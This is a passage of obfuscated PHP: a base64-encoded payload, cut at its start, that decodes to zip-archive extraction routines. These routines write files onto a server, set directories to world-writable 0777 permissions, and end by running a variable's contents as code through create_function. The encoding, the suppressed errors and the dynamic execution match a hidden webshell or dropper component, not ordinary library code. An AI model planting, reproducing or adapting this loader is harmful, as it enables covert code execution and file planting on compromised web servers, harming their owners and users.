J10mMHhGRTAwKT4+OSkrMTk4MDsKICAgICAkbW9udGg9KCRoZWFkZXJbJ21kYXRlJ10mMHgwMUUwKT4+NTskZGF5PSRoZWFkZXJbJ21kYXRlJ10mMHgwMDFGOwogICAgICRoZWFkZXJbJ210aW1lJ10gPSBta3RpbWUoJGhvdXIsICRtaW51dGUsICRzZWNvbmRlLCAkbW9udGgsICRkYXksICR5ZWFyKTsKICAgIH1lbHNleyRoZWFkZXJbJ210aW1lJ10gPSB0aW1lKCk7fQoKICAgICRoZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddID0gJGhlYWRlclsnZmlsZW5hbWUnXTsKICAgICRoZWFkZXJbJ3N0YXR1cyddID0gIm9rIjsKICAgIHJldHVybiAkaGVhZGVyOwogIH0KCiBmdW5jdGlvbiBSZWFkQ2VudHJhbEZpbGVIZWFkZXJzKCR6aXApewogICAgJGJpbmFyeV9kYXRhID0gZnJlYWQoJHppcCwgNDYpOwogICAgJGhlYWRlciA9IHVucGFjaygndmNoa2lkL3ZpZC92dmVyc2lvbi92dmVyc2lvbl9leHRyYWN0ZWQvdmZsYWcvdmNvbXByZXNzaW9uL3ZtdGltZS92bWRhdGUvVmNyYy9WY29tcHJlc3NlZF9zaXplL1ZzaXplL3ZmaWxlbmFtZV9sZW4vdmV4dHJhX2xlbi92Y29tbWVudF9sZW4vdmRpc2svdmludGVybmFsL1ZleHRlcm5hbC9Wb2Zmc2V0JywgJGJpbmFyeV9kYXRhKTsKCiAgICBpZiAoJGhlYWRlclsnZmlsZW5hbWVfbGVuJ10gIT0gMCkKICAgICAgJGhlYWRlclsnZmlsZW5hbWUnXSA9IGZyZWFkKCR6aXAsJGhlYWRlclsnZmlsZW5hbWVfbGVuJ10pOwogICAgZWxzZSAkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7CgogICAgaWYgKCRoZWFkZXJbJ2V4dHJhX2xlbiddICE9IDApCiAgICAgICRoZWFkZXJbJ2V4dHJhJ10gPSBmcmVhZCgkemlwLCAkaGVhZGVyWydleHRyYV9sZW4nXSk7CiAgICBlbHNlICRoZWFkZXJbJ2V4dHJhJ10gPSAnJzsKCiAgICBpZiAoJGhlYWRlclsnY29tbWVudF9sZW4nXSAhPSAwKQogICAgICAkaGVhZGVyWydjb21tZW50J10gPSBmcmVhZCgkemlwLCAkaGVhZGVyWydjb21tZW50X2xlbiddKTsKICAgIGVsc2UgJGhlYWRlclsnY29tbWVudCddID0gJyc7CgogICAgaWYgKCRoZWFkZXJbJ21kYXRlJ10gJiYgJGhlYWRlclsnbXRpbWUnXSkKICAgIHsKICAgICAgJGhvdXIgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4RjgwMCkgPj4gMTE7CiAgICAgICRtaW51dGUgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4MDdFMCkgPj4gNTsKICAgICAgJHNlY29uZGUgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4MDAxRikqMjsKICAgICAgJHllYXIgPSAoKCRoZWFkZXJbJ21kYXRlJ10gJiAweEZFMDApID4+IDkpICsgMTk4MDsKICAgICAgJG1vbnRoID0gKCRoZWFkZXJbJ21kYXRlJ10gJiAweDAxRTApID4+IDU7CiAgICAgICRkYXkgPSAkaGVhZGVyWydtZGF0ZSddICYgMHgwMDFGOwogICAgICAkaGVhZGVyWydtdGltZSddID0gbWt0aW1lKCRob3VyLCAkbWludXRlLCAkc2Vjb25kZSwgJG1vbnRoLCAkZGF5LCAkeWVhcik7CiAgICB9IGVsc2UgewogICAgICAkaGVhZGVyWydtdGltZSddID0gdGltZSgpOwogICAgfQogICAgJGhlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10gPSAkaGVhZGVyWydmaWxlbmFtZSddOwogICAgJGhlYWRlclsnc3RhdHVzJ10gPSAnb2snOwogICAgaWYgKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAtMSkgPT0gJy8nKQogICAgICAkaGVhZGVyWydleHRlcm5hbCddID0gMHg0MUZGMDAxMDsKICAgIHJldHVybiAkaGVhZGVyOwogfQoKIGZ1bmN0aW9uIFJlYWRDZW50cmFsRGlyKCR6aXAsJHppcF9uYW1lKXsKCSRzaXplID0gZmlsZXNpemUoJHppcF9uYW1lKTsKCglpZiAoJHNpemUgPCAyNzcpICRtYXhpbXVtX3NpemUgPSAkc2l6ZTsKCWVsc2UgJG1heGltdW1fc2l6ZT0yNzc7CgkKCUBmc2VlaygkemlwLCAkc2l6ZS0kbWF4aW11bV9zaXplKTsKCSRwb3MgPSBmdGVsbCgkemlwKTsgJGJ5dGVzID0gMHgwMDAwMDAwMDsKCQoJd2hpbGUgKCRwb3MgPCAkc2l6ZSl7CgkJJGJ5dGUgPSBAZnJlYWQoJHppcCwgMSk7ICRieXRlcz0oJGJ5dGVzIDw8IDgpIHwgb3JkKCRieXRlKTsKCQlpZiAoJGJ5dGVzID09IDB4NTA0YjA1MDYgb3IgJGJ5dGVzID09IDB4MmU3MDY4NzA1MDRiMDUwNil7ICRwb3MrKzticmVhazt9ICRwb3MrKzsKCX0KCQoJJGZkYXRhPWZyZWFkKCR6aXAsMTgpOwoJCgkkZGF0YT1AdW5wYWNrKCd2ZGlzay92ZGlza19zdGFydC92ZGlza19lbnRyaWVzL3ZlbnRyaWVzL1ZzaXplL1ZvZmZzZXQvdmNvbW1lbnRfc2l6ZScsJGZkYXRhKTsKCQoJaWYgKCRkYXRhWydjb21tZW50X3NpemUnXSAhPSAwKSAkY2VudGRbJ2NvbW1lbnQnXSA9IGZyZWFkKCR6aXAsICRkYXRhWydjb21tZW50X3NpemUnXSk7CgllbHNlICRjZW50ZFsnY29tbWVudCddID0gJyc7ICRjZW50ZFsnZW50cmllcyddID0gJGRhdGFbJ2VudHJpZXMnXTsKCSRjZW50ZFsnZGlza19lbnRyaWVzJ10gPSAkZGF0YVsnZGlza19lbnRyaWVzJ107CgkkY2VudGRbJ29mZnNldCddID0gJGRhdGFbJ29mZnNldCddOyRjZW50ZFsnZGlza19zdGFydCddID0gJGRhdGFbJ2Rpc2tfc3RhcnQnXTsKCSRjZW50ZFsnc2l6ZSddID0gJGRhdGFbJ3NpemUnXTsgICRjZW50ZFsnZGlzayddID0gJGRhdGFbJ2Rpc2snXTsKCXJldHVybiAkY2VudGQ7CiAgfQoKIGZ1bmN0aW9uIEV4dHJhY3RGaWxlKCRoZWFkZXIsJHRvLCR6aXApewoJJGhlYWRlciA9ICR0aGlzLT5yZWFkZmlsZWhlYWRlcigkemlwKTsKCQoJaWYoc3Vic3RyKCR0bywtMSkhPSIvIikgJHRvLj0iLyI7CglpZigkdG89PScuLycpICR0byA9ICcnOwkKCSRwdGggPSBleHBsb2RlKCIvIiwkdG8uJGhlYWRlclsnZmlsZW5hbWUnXSk7CgkkbXlkaXIgPSAnJzsKCWZvcigkaT0wOyRpPGNvdW50KCRwdGgpLTE7JGkrKyl7CgkJaWYoISRwdGhbJGldKSBjb250aW51ZTsKCQkkbXlkaXIgLj0gJHB0aFskaV0uIi8iOwoJCWlmKCghaXNfZGlyKCRteWRpcikgJiYgQG1rZGlyKCRteWRpciwwNzc3KSkgfHwgKCgkbXlkaXI9PSR0by4kaGVhZGVyWydmaWxlbmFtZSddIHx8ICgkbXlkaXI9PSR0byAmJiAkdGhpcy0+dG90YWxfZm9sZGVycz09MCkpICYmIGlzX2RpcigkbXlkaXIpKSApewoJCQlAY2htb2QoJG15ZGlyLDA3NzcpOwoJCQkkdGhpcy0+dG90YWxfZm9sZGVycyArKzsKCQkJZWNobyAi55uu5b2VOiAkbXlkaXI8YnI+IjsKCQl9Cgl9CgkKCWlmKHN0cnJjaHIoJGhlYWRlclsnZmlsZW5hbWUnXSwnLycpPT0nLycpIHJldHVybjsJCgoJaWYgKCEoJGhlYWRlclsnZXh0ZXJuYWwnXT09MHg0MUZGMDAxMCkmJiEoJGhlYWRlclsnZXh0ZXJuYWwnXT09MTYpKXsKCQlpZiAoJGhlYWRlclsnY29tcHJlc3Npb24nXT09MCl7CgkJCSRmcCA9IEBmb3BlbigkdG8uJGhlYWRlclsnZmlsZW5hbWUnXSwgJ3diJyk7CgkJCWlmKCEkZnApIHJldHVybigtMSk7CgkJCSRzaXplID0gJGhlYWRlclsnY29tcHJlc3NlZF9zaXplJ107CgkJCgkJCXdoaWxlICgkc2l6ZSAhPSAwKXsKCQkJCSRyZWFkX3NpemUgPSAoJHNpemUgPCAyMDQ4ID8gJHNpemUgOiAyMDQ4KTsKCQkJCSRidWZmZXIgPSBmcmVhZCgkemlwLCAkcmVhZF9zaXplKTsKCQkJCSRiaW5hcnlfZGF0YSA9IHBhY2soJ2EnLiRyZWFkX3NpemUsICRidWZmZXIpOwoJCQkJQGZ3cml0ZSgkZnAsICRiaW5hcnlfZGF0YSwgJHJlYWRfc2l6ZSk7CgkJCQkkc2l6ZSAtPSAkcmVhZF9zaXplOwoJCQl9CgkJCWZjbG9zZSgkZnApOwoJCQl0b3VjaCgkdG8uJGhlYWRlclsnZmlsZW5hbWUnXSwgJGhlYWRlclsnbXRpbWUnXSk7CgkJfWVsc2V7CgkJCSRmcCA9IEBmb3BlbigkdG8uJGhlYWRlclsnZmlsZW5hbWUnXS4nLmd6Jywnd2InKTsKCQkJaWYoISRmcCkgcmV0dXJuKC0xKTsKCQkJJGJpbmFyeV9kYXRhID0gcGFjaygndmExYTFWYTFhMScsIDB4OGIxZiwgQ2hyKCRoZWFkZXJbJ2NvbXByZXNzaW9uJ10pLAoJCQlDaHIoMHgwMCksIHRpbWUoKSwgQ2hyKDB4MDApLCBDaHIoMykpOwoJCQkKCQkJZndyaXRlKCRmcCwgJGJpbmFyeV9kYXRhLCAxMCk7CgkJCSRzaXplID0gJGhlYWRlclsnY29tcHJlc3NlZF9zaXplJ107CgkJCgkJCXdoaWxlICgkc2l6ZSAhPSAwKXsKCQkJCSRyZWFkX3NpemUgPSAoJHNpemUgPCAxMDI0ID8gJHNpemUgOiAxMDI0KTsKCQkJCSRidWZmZXIgPSBmcmVhZCgkemlwLCAkcmVhZF9zaXplKTsKCQkJCSRiaW5hcnlfZGF0YSA9IHBhY2soJ2EnLiRyZWFkX3NpemUsICRidWZmZXIpOwoJCQkJQGZ3cml0ZSgkZnAsICRiaW5hcnlfZGF0YSwgJHJlYWRfc2l6ZSk7CgkJCQkkc2l6ZSAtPSAkcmVhZF9zaXplOwoJCQl9CgkJCgkJCSRiaW5hcnlfZGF0YSA9IHBhY2soJ1ZWJywgJGhlYWRlclsnY3JjJ10sICRoZWFkZXJbJ3NpemUnXSk7CgkJCWZ3cml0ZSgkZnAsICRiaW5hcnlfZGF0YSw4KTsgZmNsb3NlKCRmcCk7CgkKCQkJJGd6cCA9IEBnem9wZW4oJHRvLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uJy5neicsJ3JiJykgb3IgZGllKCJDZXR0ZSBhcmNoaXZlIGVzdCBjb21wcmVzcyIpOwoJCQlpZighJGd6cCkgcmV0dXJuKC0yKTsKCQkJJGZwID0gQGZvcGVuKCR0by4kaGVhZGVyWydmaWxlbmFtZSddLCd3YicpOwoJCQlpZighJGZwKSByZXR1cm4oLTEpOwoJCQkkc2l6ZSA9ICRoZWFkZXJbJ3NpemUnXTsKCQkKCQkJd2hpbGUgKCRzaXplICE9IDApewoJCQkJJHJlYWRfc2l6ZSA9ICgkc2l6ZSA8IDIwNDggPyAkc2l6ZSA6IDIwNDgpOwoJCQkJJGJ1ZmZlciA9IGd6cmVhZCgkZ3pwLCAkcmVhZF9zaXplKTsKCQkJCSRiaW5hcnlfZGF0YSA9IHBhY2soJ2EnLiRyZWFkX3NpemUsICRidWZmZXIpOwoJCQkJQGZ3cml0ZSgkZnAsICRiaW5hcnlfZGF0YSwgJHJlYWRfc2l6ZSk7CgkJCQkkc2l6ZSAtPSAkcmVhZF9zaXplOwoJCQl9CgkJCWZjbG9zZSgkZnApOyBnemNsb3NlKCRnenApOwoJCQoJCQl0b3VjaCgkdG8uJGhlYWRlclsnZmlsZW5hbWUnXSwgJGhlYWRlclsnbXRpbWUnXSk7CgkJCUB1bmxpbmsoJHRvLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uJy5neicpOwoJCQkKCQl9Cgl9CgkKCSR0aGlzLT50b3RhbF9maWxlcyArKzsKCWVjaG8gIuaWh+S7tjogJHRvJGhlYWRlcltmaWxlbmFtZV08YnI+IjsKCXJldHVybiB0cnVlOwogfQp9Cm9iX2VuZF9mbHVzaCgpOwokQmFzZT1DcmVhdGVfRnVuY3Rpb24oJycsJGZpbGVuYW1lKTskQmFzZSgpOw=='));?>